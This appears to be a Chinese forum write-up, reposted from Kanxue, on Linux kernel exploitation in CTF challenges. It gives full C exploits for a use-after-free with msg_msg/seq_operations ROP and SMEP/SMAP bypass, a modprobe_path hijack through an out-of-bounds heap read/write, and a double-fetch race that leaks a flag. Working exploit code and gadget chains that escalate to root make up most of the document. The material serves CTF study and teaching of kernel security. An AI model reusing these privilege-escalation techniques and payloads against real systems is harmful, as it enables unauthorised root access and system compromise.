qemu-system-x86_64 \ -initrd rootfs.cpio \ -kernel bzImage \ -append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \ -enable-kvm -monitor /dev/null -m 256M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep,+smap \ -no-reboot \ -s

思路其实和之前差不多,利用某些方式劫持到程序流之后栈迁到rop就行,只不过rop需要想办法构造在DMA区域中了。

为了学习尽可能多的trick,我使用了一种比较曲折的方式来达成利用。

过程可以大致分为以下几步:

利用本题漏洞,造一个0x1000大小的uaf,开一个0x1100的msg_msg结构体(前0x1000的msg_msg内容任意,后面挂着的0x100的msg_msgseg用于布置rop),利用uaf leak出msg_msg中指向msg_msgseg的指针,得到rop地址。

再造一个0x18大小的uaf,打开/proc/self/stat创建出seq_file,uaf捕获到seq_operations。这样就能利用read(seq_fd, $rsp, 8)触发seq_operations->start指针的任意执行了。

先使用add rsp, val这类gadgets来让rsp走到pt_regs中,从而再利用pop rsp; ret这样的gadget实现栈迁移。(由于没有找到合适的一次性把rsp add到pt_regs的gadget,所以在exp使用了二段跳)


exp

#define _GNU_SOURCE#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <fcntl.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/ioctl.h>#include <linux/keyctl.h>
#include <sys/shm.h>#include <sys/msg.h>#include <sys/ipc.h>#include <sys/syscall.h>
#include <errno.h>
int dev_fd[2], seq_fd;const char *dev_name = "/dev/babydev";
size_t commit_creds = 0xffffffff810a1420;size_t prepare_kernel_cred = 0xffffffff810a1810;size_t rop_addr;
size_t usr_cs, usr_rflags, usr_rsp, usr_ss;void save_status(){ __asm__( "mov usr_cs, cs;" "pushf;" "pop usr_rflags;" "mov usr_rsp, rsp;" "mov usr_ss, ss;" );}
void get_root(){ char* (*pkc)(int) = prepare_kernel_cred; void* (*cc)(char*) = commit_creds; (*cc)((*pkc)(0));}
void get_root_shell(){ if (getuid()!=0) { puts("[-] get root failed."); exit(-1); } system("/bin/sh");}
void build_rop(size_t *rop, int offset){ int i = offset; rop[i++] = 0xffffffff810d238d; // pop rdi; ret; rop[i++] = 0x6f0; // bypass smep&smap rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret; rop[i++] = 0; rop[i++] = (size_t)get_root; // ret2usr rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret; rop[i++] = ((size_t)&i); rop[i++] = 0xffffffff814e35ef; // iretq; ret; rop[i++] = (size_t)get_root_shell; // rip rop[i++] = usr_cs; rop[i++] = usr_rflags; rop[i++] = usr_rsp; rop[i++] = usr_ss;}
int getMsgQueue(void){ return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);}
int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp){ return msgrcv(msqid, msgp, msgsz, msgtyp, IPC_NOWAIT|MSG_NOERROR);}
int writeMsg(int msqid, void *msgp, size_t msgsz){ return msgsnd(msqid, msgp, msgsz, 0);}
int main(){ save_status(); signal(11, (size_t)get_root_shell);
int qid = getMsgQueue(); if (qid == -1) { fprintf(stderr, "[-] msg_queue\n"); exit(-1); }
dev_fd[0] = open(dev_name, O_RDWR); if (dev_fd[0] == -1) { fprintf(stderr, "[-] open %s failed.(1)\n", dev_name); exit(-1); }
dev_fd[1] = open(dev_name, O_RDWR); if (dev_fd[1] == -1) { fprintf(stderr, "[-] open %s failed.(2)\n", dev_name); exit(-1); }
char *buffer_send = malloc(0x4000); char *buffer_recv = malloc(0x4000); memset(buffer_send, 0x61, 0x4000);
build_rop((size_t *)buffer_send, ((0x1000-0x30)>>3)+1);
ioctl(dev_fd[0], 0x10001, 0x1000); close(dev_fd[0]);
int cnt = 1; for (int i = 0; i < cnt; ++i) { if (writeMsg(qid, buffer_send, 0x1100-0x38) < 0) fprintf(stderr, "[-] msg_msg\n"); else puts("[+] msg_msg\n"); }

read(dev_fd[1], buffer_recv, 0x40); puts("\nPartial leak:"); for (int i = 0; i < 8; ) { printf("[+] %016lx %016lx\n", ((size_t *)buffer_recv)[i], ((size_t *)buffer_recv)[i+1]); i += 2; } rop_addr = ((size_t *)buffer_recv)[4] + 0x8; printf("[+] rop_addr: 0x%lx\n", rop_addr); printf("[+] buffer_send: 0x%lx\n", buffer_send);
dev_fd[0] = open(dev_name, O_RDWR); if (dev_fd[0] == -1) { fprintf(stderr, "[-] open %s failed.(3)\n", dev_name); exit(-1); } ioctl(dev_fd[0], 0x10001, 0x18); close(dev_fd[0]);
seq_fd = open("/proc/self/stat", O_RDONLY); if (seq_fd == -1) { puts("[-] failed in opening seq_fd."); exit(-1); }
// getchar();
size_t ptr = 0xffffffff8151a3a5; // add rsp, 0x148; pop rbx; pop r12; pop r13; pop rbp; ret; write(dev_fd[1], (char *)&ptr, 0x8);
__asm__( "mov r15, 0xffffffff8100006f;" // ret; "mov r14, 0xffffffff81183478;" // add rsp, 0x40; pop rbx; pop rbp; ret; "mov r13, 0xffffffff8100006f;" "mov r12, 0xffffffff8100006f;" "mov rbp, 0xffffffff8100006f;" "mov rbx, 0xffffffff8100006f;" "mov r11, 0xffffffff8100006f;" "mov r10, 0xffffffff8100006f;" "mov r9, 0xffffffff81171045;" // pop rsp; ret; "mov r8, rop_addr;" "xor rax, rax;" "xor rdi, rdi;" "mov rcx, 0xdeadbeef;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall" // read(seq_fd, $rsp, 8); );
// getchar();
return 0;}


Hijack modprobe_path


他和poweroff_cmd, uevent_helper, ocfs2_hb_ctl_path, nfs_cache_getent_prog, cltrack_prog这些变量类似,都是call_usermodehelper类型的trick。

只需要劫持一个字符串,就能用root权限执行任意命令。(但是这个命令往往是不可以交互的)

以modprobe_path为例在劫持了对应字符串为/tmp/a.sh之后,只需要运行一个非正确的ELF文件即可触发。
system("echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy");system("echo '#!/bin/sh\nchmod 777 /flag' >> /tmp/a.sh");system("chmod 777 /tmp/dummy; chmod 777 /tmp/a.sh");
system("/tmp/dummy");


rwOnTheHeap


分析


checksec只开了NX

关键函数如下:
__int64 procfile_open(){ _QWORD *v0; // rax
_fentry__(); v0 = (_QWORD *)kmem_cache_alloc_trace(kmalloc_caches[10], 3264LL, 1024LL); *v0 = v0; procfs_buffer = (__int64)v0; return _x86_return_thunk(0LL, 0LL, 0LL);}
__int64 __fastcall procfile_write(__int64 a1, __int64 a2){ _fentry__(); if ( !copy_from_user(&request_t, a2, 16LL) ) *(_QWORD *)(procfs_buffer + *(&request_t + 1)) = request_t; return _x86_return_thunk(0LL, 0LL, 0LL);}
__int64 __fastcall procfile_read(__int64 a1, __int64 a2){ _fentry__(); if ( !copy_from_user(&request_t, a2, 16LL) ) { request_t = *(_QWORD *)(procfs_buffer + *(&request_t + 1)); copy_to_user(a2, &request_t, 16LL); } return _x86_return_thunk(0LL, 0LL, 0LL);}

非常直观的dma中越界读写漏洞。(值得一提的是,越界的地址范围多达8字节,这已经可以任意位置读写了)

不难想到,只需要leak出kernel的text段地址即可直接越界修改modprobe_path达成利用。

在leak的时候我使用的方法是:

构造若干个msg_msg和msg_msgseg,在一个msg_queue上挂着0x400的msg_msg,指向0x1000的msg_msg,再指向0x20的msg_msgseg。然后再开一个shm_file_data(0x20)。

通过越界读,在procfs_buffer附近4个内存页中搜索0x400的msg_msg,从他的双链表找到0x1000的msg_msg的位置,再通过0x1000的msg_msg leak出0x20的msg_msgseg的地址。

这时就又能通过越界读,在0x20的msg_msgseg附近的3个内存页中搜索到shm_file_data,从而得到kernel的text段地址,计算出modprobe_path的位置,达成利用。


exp

#include <unistd.h>#include <stdio.h>#include <stdint.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>#include <sys/types.h>#include <sys/ioctl.h>#include <sys/stat.h>
#include <sys/shm.h>#include <sys/msg.h>#include <sys/ipc.h>#include <sys/syscall.h>
size_t buf[2];
int fd1, fd2;
void read_from_heap(int fd, size_t offset) { buf[1] = offset; read(fd, buf, 0x10);}
void write_to_heap(int fd, size_t value, size_t offset) { buf[0] = value; buf[1] = offset; write(fd, buf, offset);}
int main() { fd1 = open("/proc/vuln", O_RDWR); if(fd1 == -1) { printf("[-] open device error.\n"); exit(-1); } printf("[+] fd: %d\n", fd1);
read_from_heap(fd1, 0); uint64_t procfs_buffer = buf[0]; printf("[+] buffer addr: %lx\n", procfs_buffer);

char *buffer = malloc(0x4000); memset(buffer, 0x61, 0x400); int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); msgsnd(qid, buffer, 0x400-0x30, 0);
memset(buffer, 0x62, 0x2000); msgsnd(qid, buffer, 0x1020-0x38, 0); // 0x1000 + 0x20
int shmid = shmget(IPC_PRIVATE, 100, 0600); // 0x20 -> shm_file_data -> leak if(shmid == -1) { puts("[-] shmget error!"); exit(-1); } char *shaddr = shmat(shmid, NULL, 0); if(shaddr == (void *)-1) { puts("[-] shmattr error!"); exit(-1); }
// search msg_msg (0x400) in recent 4 pages int cur = -0x2000, tail = 0x2000; uint64_t msg_msg_1024 = 0; for(; cur <= tail; cur+=0x10) { read_from_heap(fd1, cur); //printf("%016lx %016lx\n", buf[0], buf[1]); if(buf[0]==0x6161616161616161) { read_from_heap(fd1, cur-0x10); msg_msg_1024 = buf[0];
printf("[+] msg_msg_1024: %lx\n", msg_msg_1024); break; } } if(!msg_msg_1024) { puts("[-] failed in searching msg_msg_1024"); exit(-1); }
read_from_heap(fd1, msg_msg_1024 + 0x20 - procfs_buffer); uint64_t msg_msgseg = buf[0]; printf("[+] msg_msgseg: %lx\n", msg_msgseg);
// search shm_file_data in recent 3 pages cur = msg_msgseg - procfs_buffer - 0x1008, tail = cur + 0x2008; uint64_t leak_kernel_addr = 0; for(; cur <= tail; cur+=0x10) { read_from_heap(fd1, cur); //printf("[+] %016lx\n", buf[0]); if(buf[0]>0xffffffff00000000) { leak_kernel_addr = buf[0];
printf("[+] leak_kernel_addr: %lx\n", leak_kernel_addr); break; } } if(!leak_kernel_addr) { puts("[-] failed in searching leak"); exit(-1); }
uint64_t modprobe_path = leak_kernel_addr - 0x1da1a0; printf("[+] modprobe_path: %lx\n", modprobe_path);
// hijack modprobe_path write_to_heap(fd1, 0x0061612f706d742f, modprobe_path - procfs_buffer);
system("echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy"); system("echo '#!/bin/sh\nchmod 777 /flag' >> /tmp/aa"); system("chmod 777 /tmp/dummy; chmod 777 /tmp/aa");
system("/tmp/dummy");
getchar();
return 0;}


Double fetch


这个属于条件竞争类的利用,在某些时候kernel第一次拿到一个值,判断合法之后,距离使用还存在一定的窗口期,在这个期间利用条件竞争漏洞修改掉那个值,即可达成恶意目的。


0CTF2018-final-baby


分析


baby_ioctl的本意就是让你传一个地址和长度,如果和内核中flag的内容一致的话,就可以直接打印出flag了,而且在传参数0x6666的时候会直接白给内核态中真flag的地址。

不过在函数_chk_range_not_ok里限制了我们传入的flag必须在用户态的空间之内。
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3){ bool v3; // cf unsigned __int64 v4; // rdi bool result; // al
v3 = __CFADD__(a2, a1); v4 = a2 + a1; if ( v3 ) result = 1; else result = a3 < v4; return result;}
__int64 __fastcall sub_25(__int64 a1, int a2, __int64 a3){ __int64 result; // rax int i; // [rsp+1Ch] [rbp-54h]
if ( a2 == 0x6666 ) { printk("Your flag is at %px! But I don't think you know it's content\n", flag); result = 0LL; } else if ( a2 == 0x1337 && !_chk_range_not_ok(a3, 16LL, *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952)) && !_chk_range_not_ok( *(_QWORD *)a3, *(int *)(a3 + 8), *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952)) && *(_DWORD *)(a3 + 8) == strlen(flag) ) { for ( i = 0; i < strlen(flag); ++i ) { if ( *(_BYTE *)(*(_QWORD *)a3 + i) != flag[i] ) return 22LL; } printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag); result = 0LL; } else { result = 14LL; } return result;}
__int64 baby_ioctl(){ _fentry__(); return sub_25();}

一看启动脚本:
qemu-system-x86_64 \-m 256M -smp 2,cores=2,threads=1 \-kernel ./vmlinuz-4.15.0-22-generic \-initrd ./core.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \-cpu qemu64 \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic -enable-kvm \

双核,可能存在条件竞争类漏洞。

联想到double fetch的思路,可以尝试在传入flag地址,通过_chk_range_not_ok的检查之后用子线程修改掉传入的flag地址为真正的flag地址,从而让他直接打印出flag。
(也有一种魔鬼思路是利用mmap开出一块地址,然后将猜测的flag放在mmap这块空间的末位,然后利用是否造成kernel pannic来逐步爆破flag,最多只需要爆破2k+次就能成功)


exp

#include <pthread.h>#include <unistd.h>#include <fcntl.h>#include <stdlib.h>#include <stdint.h>#include <stdio.h>#include <string.h>#include <sys/stat.h>#include <sys/ioctl.h>#include <sys/types.h>
#define COMPETATION_TIME 0x1000
pthread_t competation_thread;
char buf[0x1000];
uint32_t attack = 1;char * real_addr;
struct { char * flag_addr; uint32_t flag_len;} flag = {.flag_addr = buf, .flag_len = 33};
void race_condition() { while(attack) { for(int i = 0; i < COMPETATION_TIME; ++i) { flag.flag_addr = real_addr; } }}
int main() { int fd, addr_fd, result_fd; fd = open("/dev/baby", O_RDWR); ioctl(fd, 0x6666);
system("dmesg | grep flag >./addr"); addr_fd = open("./addr", O_RDONLY);
buf[read(addr_fd, buf, 0x100)] = '\x00';
char *leak_flag_addr = strstr(buf, "Your flag is at ") + 0x10; real_addr = strtoull(leak_flag_addr, leak_flag_addr + 0x10, 0x10); printf("\033[34m[+]flag addr: 0x%llx\033[m\n", real_addr);
pthread_create(&competation_thread, NULL, race_condition, NULL);
while(attack) { for(int i = 0; i < COMPETATION_TIME; ++i) { flag.flag_addr = buf; ioctl(fd, 0x1337, &flag); } system("dmesg | grep flag >./result"); result_fd = open("./result", O_RDONLY);
read(result_fd, buf, 0x100); if(strstr(buf, "flag{")) { attack = 0; } }
pthread_cancel(competation_thread);
puts("\033[34m[+]success!\033[m"); system("dmesg | grep flag");
return 0;}



参考文章

https://www.jianshu.com/p/a2259cd3e79e

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/




看雪ID:kotoriseed

https://bbs.kanxue.com/user-home-951122.htm

*本文由看雪论坛 kotoriseed 原创,转载请注明来自看雪社区


# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们



球分享

球点赞

球在看


点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存